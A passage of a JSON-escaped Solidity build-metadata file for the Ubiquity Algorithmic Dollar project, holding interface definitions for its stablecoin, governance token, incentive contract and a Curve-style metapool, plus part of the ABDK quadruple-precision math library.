returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 _amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IIncentive.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\n/// @title incentive contract interface\\n/// @notice Called by uAD token contract when transferring with an incentivized address\\n/// @dev should be appointed as a Minter or Burner as needed\\ninterface IIncentive {\\n /// @notice apply incentives on transfer\\n /// @param sender the sender address of uAD\\n /// @param receiver the receiver address of uAD\\n /// @param operator the operator (msg.sender) of the transfer\\n /// @param amount the amount of uAD transferred\\n function incentivize(\\n address sender,\\n address receiver,\\n address operator,\\n uint256 amount\\n ) external;\\n}\\n\",\"keccak256\":\"0x38a8564acc4a3de67d7a53a2ddd78ac728db25651e03e3d9c13e345dfa79a7b5\",\"license\":\"MIT\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IUbiquityGovernance.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title uGOV governance token interface\\n/// @author Ubiquity Algorithmic Dollar\\n// solhint-disable-next-line no-empty-blocks\\ninterface IUbiquityGovernance is IERC20Ubiquity {\\n\\n}\\n\",\"keccak256\":\"0x0cac899bed6e234ce8f229636851e882a92f2875e2d2fd3f10a5088b855cd16e\",\"license\":\"Apache-2.0\"},\"contracts/libs/ABDKMathQuad.sol\":{\"content\":\"// SPDX-License-Identifier: BSD-4-Clause\\n/*\\n * ABDK Math Quad Smart Contract Library. Copyright \\u00a9 2019 by ABDK Consulting.\\n * Author: Mikhail Vladimirov \\n */\\npragma solidity ^0.8.0;\\n\\n/**\\n * Smart contract library of mathematical functions operating with IEEE 754\\n * quadruple-precision binary floating-point numbers (quadruple precision\\n * numbers). As long as quadruple precision numbers are 16-bytes long, they are\\n * represented by bytes16 type.\\n */\\nlibrary ABDKMathQuad {\\n /*\\n * 0.\\n */\\n bytes16 private constant _POSITIVE_ZERO =\\n 0x00000000000000000000000000000000;\\n\\n /*\\n * -0.\\n */\\n bytes16 private constant _NEGATIVE_ZERO =\\n 0x80000000000000000000000000000000;\\n\\n /*\\n * +Infinity.\\n */\\n bytes16 private constant _POSITIVE_INFINITY =\\n 0x7FFF0000000000000000000000000000;\\n\\n /*\\n * -Infinity.\\n */\\n bytes16 private constant _NEGATIVE_INFINITY =\\n 0xFFFF0000000000000000000000000000;\\n\\n /*\\n * Canonical NaN value.\\n */\\n bytes16 private constant NaN = 0x7FFF8000000000000000000000000000;\\n\\n /**\\n * Convert signed 256-bit integer number into quadruple precision number.\\n *\\n * @param x signed 256-bit integer number\\n * @return quadruple precision number\\n */\\n function fromInt(int256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint256(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16383 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 256-bit integer number\\n * rounding towards zero. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 256-bit integer number\\n */\\n function toInt(bytes16 x) internal pure returns (int256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16638); // Overflow\\n if (exponent < 16383) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16495) result >>= 16495 - exponent;\\n else if (exponent > 16495) result <<= exponent - 16495;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(\\n result <=\\n 0x8000000000000000000000000000000000000000000000000000000000000000\\n );\\n return -int256(result); // We rely on overflow behavior here\\n } else {\\n require(\\n result <=\\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n );\\n return int256(result);\\n }\\n }\\n }\\n\\n /**\\n * Convert unsigned 256-bit integer number into quadruple precision number.\\n *\\n * @param x unsigned 256-bit integer number\\n * @return quadruple precision number\\n */\\n function fromUInt(uint256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n uint256 result = x;\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16383 + msb) << 112);\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into unsigned 256-bit integer number\\n * rounding towards zero. Revert on underflow. Note, that negative floating\\n * point numbers in range (-1.0 .. 0.0) may be converted to unsigned integer\\n * without error, because they are rounded to zero.\\n *\\n * @param x quadruple precision number\\n * @return unsigned 256-bit integer number\\n */\\n function toUInt(bytes16 x) internal pure returns (uint256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n if (exponent < 16383) return 0; // Underflow\\n\\n require(uint128(x) < 0x80000000000000000000000000000000); // Negative\\n\\n require(exponent <= 16638); // Overflow\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16495) result >>= 16495 - exponent;\\n else if (exponent > 16495) result <<= exponent - 16495;\\n\\n return result;\\n }\\n }\\n\\n /**\\n * Convert signed 128.128 bit fixed point number into quadruple precision\\n * number.\\n *\\n * @param x signed 128.128 bit fixed point number\\n * @return quadruple precision number\\n */\\n function from128x128(int256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint256(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16255 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 128.128 bit fixed point\\n * number. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 128.128 bit fixed point number\\n */\\n function to128x128(bytes16 x) internal pure returns (int256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16510); // Overflow\\n if (exponent < 16255) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16367) result >>= 16367 - exponent;\\n else if (exponent > 16367) result <<= exponent - 16367;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(\\n result <=\\n 0x8000000000000000000000000000000000000000000000000000000000000000\\n );\\n return -int256(result); // We rely on overflow behavior here\\n } else {\\n require(\\n result <=\\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n );\\n return int256(result);\\n }\\n }\\n }\\n\\n /**\\n * Convert signed 64.64 bit fixed point number into quadruple precision\\n * number.\\n *\\n * @param x signed 64.64 bit fixed point number\\n * @return quadruple precision number\\n */\\n function from64x64(int128 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint128(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16319 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 64.64 bit fixed point\\n * number. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 64.64 bit fixed point number\\n */\\n function to64x64(bytes16 x) internal pure returns (int128) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16446); // Overflow\\n if (exponent < 16319) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16431) result >>= 16431 - exponent;\\n else if (exponent > 16431) result <<= exponent - 16431;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(result <= 0x80000000000000000000000000000000);\\n return -int128(int256(result)); // We rely on overflow behavior here\\n } else {\\n require(result <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\\n return int128(int256(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert octuple precision number into quadruple precision number.\\n *\\n * @param x octuple precision number\\n * @return quadruple precision number\\n */\\n function fromOctuple(bytes32 x) internal pure returns (bytes16) {\\n unchecked {\\n bool negative =\\n x &\\n 0x8000000000000000000000000000000000000000000000000000000000000000 >\\n 0;\\n\\n uint256 exponent = (uint256(x) >> 236) & 0x7FFFF;\\n uint256 significand =\\n uint256(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFFF) {\\n if (significand > 0) return NaN;\\n else return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n }\\n\\n if (exponent > 278526)\\n return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else if (exponent < 245649)\\n return negative ? _NEGATIVE_ZERO : _POSITIVE_ZERO;\\n else if (exponent < 245761) {\\n significand =\\n (significand |\\n 0x100000000000000000000000000000000000000000000000000000000000) >>\\n (245885 - exponent);\\n exponent = 0;\\n } else {\\n significand >>= 124;\\n exponent -= 245760;\\n }\\n\\n uint128 result = uint128(significand | (exponent << 112));\\n if (negative) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(result);\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into octuple precision number.\\n *\\n * @param x quadruple precision number\\n * @return octuple precision number\\n */\\n function toOctuple(bytes16 x) internal pure returns (bytes32) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n uint256 result = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFF)\\n exponent = 0x7FFFF; // Infinity or NaN\\n else if (exponent == 0) {\\n if (result > 0) {\\n uint256 msb = mostSignificantBit(result);\\n result =\\n (result << (236 - msb)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n exponent = 245649 + msb;\\n }\\n } else {\\n result <<= 124;\\n exponent += 245760;\\n }\\n\\n result |= exponent << 236;\\n if (uint128(x) >= 0x80000000000000000000000000000000)\\n result |= 0x8000000000000000000000000000000000000000000000000000000000000000;\\n\\n return bytes32(result);\\n }\\n }\\n\\n /**\\n * Convert double precision number into quadruple precision number.\\n *\\n * @param x double precision number\\n * @return quadruple precision number\\n */\\n function fromDouble(bytes8 x) internal pure returns (bytes16) {\\n unchecked {\\n uint256 exponent = (uint64(x) >> 52) & 0x7FF;\\n\\n uint256 result = uint64(x) & 0xFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FF)\\n exponent = 0x7FFF; // Infinity or NaN\\n else if (exponent == 0) {\\n if (result > 0) {\\n uint256 msb = mostSignificantBit(result);\\n result =\\n (result << (112 - msb)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n exponent = 15309 + msb;\\n }\\n } else {\\n result <<= 60;\\n exponent += 15360;\\n }\\n\\n result |= exponent << 112;\\n if (x & 0x8000000000000000 > 0)\\n result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into double precision number.\\n *\\n * @param x quadruple precision number\\n * @return double precision number\\n */\\n function toDouble(bytes16 x) internal pure returns (bytes8) {\\n unchecked {\\n bool negative = uint128(x) >= 0x80000000000000000000000000000000;\\n\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 significand = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFF) {\\n if (significand > 0) return 0x7FF8000000000000;\\n // NaN\\n else\\n return\\n negative\\n ? bytes8(0xFFF0000000000000) // -Infinity\\n : bytes8(0x7FF0000000000000); // Infinity\\n }\\n\\n if (exponent > 17406)\\n return\\n negative\\n ? bytes8(0xFFF0000000000000) // -Infinity\\n : bytes8(0x7FF0000000000000);\\n // Infinity\\n else if (exponent < 15309)\\n return\\n negative\\n ? bytes8(0x8000000000000000) // -0\\n : bytes8(0x0000000000000000);\\n // 0\\n else if (exponent < 15361) {\\n significand =\\n (significand | 0x10000000000000000000000000000) >>\\n (15421 - exponent);\\n exponent = 0;\\n } else {\\n significand >>= 60;\\n exponent -= 15360;\\n }\\n\\n uint64 result = uint64(significand | (exponent << 52));\\n if (negative) result |= 0x8000000000000000;\\n\\n return bytes8(result);\\n }\\n }\\n\\n /**\\n * Test whether given quadruple precision number is NaN.\\n *\\n * @param x quadruple precision number\\n * @return true if x is NaN, false otherwise\\n */\\n function isNaN(bytes16 x) internal pure returns (bool) {\\n unchecked {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF >\\n 0x7FFF0000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Test whether given quadruple precision number is positive or negative\\n * infinity.\\n *\\n * @param x quadruple precision number\\n * @return true if x is positive or negative infinity, false otherwise\\n */\\n function isInfinity(bytes16 x) internal pure returns (bool) {\\n unchecked {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ==\\n 0x7FFF0000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Calculate sign of x, i.e. -1 if x is negative, 0 if x if zero, and 1 if x\\n * is positive. Note that sign (-0) is zero. Revert if x is NaN.\\n *\\n * @param x quadruple precision number\\n * @return sign of x\\n */\\n function sign(bytes16 x) internal pure returns (int8) {\\n unchecked {\\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n if (absoluteX == 0) return 0;\\n else if (uint128(x) >= 0x80000000000000000000000000000000)\\n return -1;\\n else return 1;\\n }\\n }\\n\\n /**\\n * Calculate sign (x - y). Revert if either argument is NaN, or both\\n * arguments are infinities of the same sign.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return sign (x - y)\\n */\\n function cmp(bytes16 x, bytes16 y) internal pure returns (int8) {\\n unchecked {\\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n uint128 absoluteY = uint128(y) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteY <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n // Not infinities of the same sign\\n require(x != y || absoluteX < 0x7FFF0000000000000000000000000000);\\n\\n if (x == y) return 0;\\n else {\\n bool negativeX =\\n uint128(x) >= 0x80000000000000000000000000000000;\\n bool negativeY =\\n uint128(y) >= 0x80000000000000000000000000000000;\\n\\n if (negativeX) {\\n if (negativeY) return absoluteX > absoluteY ? -1 : int8(1);\\n else return -1;\\n } else {\\n if (negativeY) return 1;\\n else return absoluteX > absoluteY ? int8(1) : -1;\\n }\\n }\\n }\\n }\\n\\n /**\\n * Test whether x equals y. NaN, infinity, and -infinity are not equal to\\n * anything.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return true if x equals to y, false otherwise\\n */\\n function eq(bytes16 x, bytes16 y) internal pure returns (bool) {\\n unchecked {\\n if (x == y) {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF <\\n 0x7FFF0000000000000000000000000000;\\n } else return false;\\n }\\n }\\n\\n /**\\n * Calculate x + y. Special values behave in the following way:\\n *\\n * NaN + x = NaN for any x.\\n * Infinity + x = Infinity for any finite x.\\n * -Infinity + x = -Infinity for any finite x.\\n * Infinity + Infinity = Infinity.\\n * -Infinity + -Infinity = -Infinity.\\n * Infinity + -Infinity = -Infinity + Infinity = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function add(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) {\\n if (x == y) return x;\\n else return NaN;\\n } else return x;\\n } else if (yExponent == 0x7FFF) return y;\\n else {\\n bool xSign = uint128(x) >= 0x80000000000000000000000000000000;\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n bool ySign = uint128(y) >= 0x80000000000000000000000000000000;\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0)\\n return y == _NEGATIVE_ZERO ? _POSITIVE_ZERO : y;\\n else if (ySignifier == 0)\\n return x == _NEGATIVE_ZERO ? _POSITIVE_ZERO : x;\\n else {\\n int256 delta = int256(xExponent) - int256(yExponent);\\n\\n if (xSign == ySign) {\\n if (delta > 112) return x;\\n else if (delta > 0) ySignifier >>= uint256(delta);\\n else if (delta < -112) return y;\\n else if (delta < 0) {\\n xSignifier >>= uint256(-delta);\\n xExponent = yExponent;\\n }\\n\\n xSignifier += ySignifier;\\n\\n if (xSignifier >= 0x20000000000000000000000000000) {\\n xSignifier >>= 1;\\n xExponent += 1;\\n }\\n\\n if (xExponent == 0x7FFF)\\n return\\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else {\\n if (xSignifier < 0x10000000000000000000000000000)\\n xExponent = 0;\\n else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n return\\n bytes16(\\n uint128(\\n (\\n xSign\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n } else {\\n if (delta > 0) {\\n xSignifier <<= 1;\\n xExponent -= 1;\\n } else if (delta < 0) {\\n ySignifier <<= 1;\\n xExponent = yExponent - 1;\\n }\\n\\n if (delta > 112) ySignifier = 1;\\n else if (delta > 1)\\n ySignifier =\\n ((ySignifier - 1) >> uint256(delta - 1)) +\\n 1;\\n else if (delta < -112) xSignifier = 1;\\n else if (delta < -1)\\n xSignifier =\\n ((xSignifier - 1) >> uint256(-delta - 1)) +\\n 1;\\n\\n if (xSignifier >= ySignifier) xSignifier -= ySignifier;\\n else {\\n xSignifier = ySignifier - xSignifier;\\n xSign = ySign;\\n }\\n\\n if (xSignifier == 0) return _POSITIVE_ZERO;\\n\\n uint256 msb = mostSignificantBit(xSignifier);\\n\\n if (msb == 113) {\\n xSignifier =\\n (xSignifier >> 1) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n xExponent += 1;\\n } else if (msb < 112) {\\n uint256 shift = 112 - msb;\\n if (xExponent > shift) {\\n xSignifier =\\n (xSignifier << shift) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n xExponent -= shift;\\n } else {\\n xSignifier <<= xExponent - 1;\\n xExponent = 0;\\n }\\n } else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (xExponent == 0x7FFF)\\n return\\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else\\n return\\n bytes16(\\n uint128(\\n (\\n xSign\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate x - y. Special values behave in the following way:\\n *\\n * NaN - x = NaN for any x.\\n * Infinity - x = Infinity for any finite x.\\n * -Infinity - x = -Infinity for any finite x.\\n * Infinity - -Infinity = Infinity.\\n * -Infinity - Infinity = -Infinity.\\n * Infinity - Infinity = -Infinity - -Infinity = 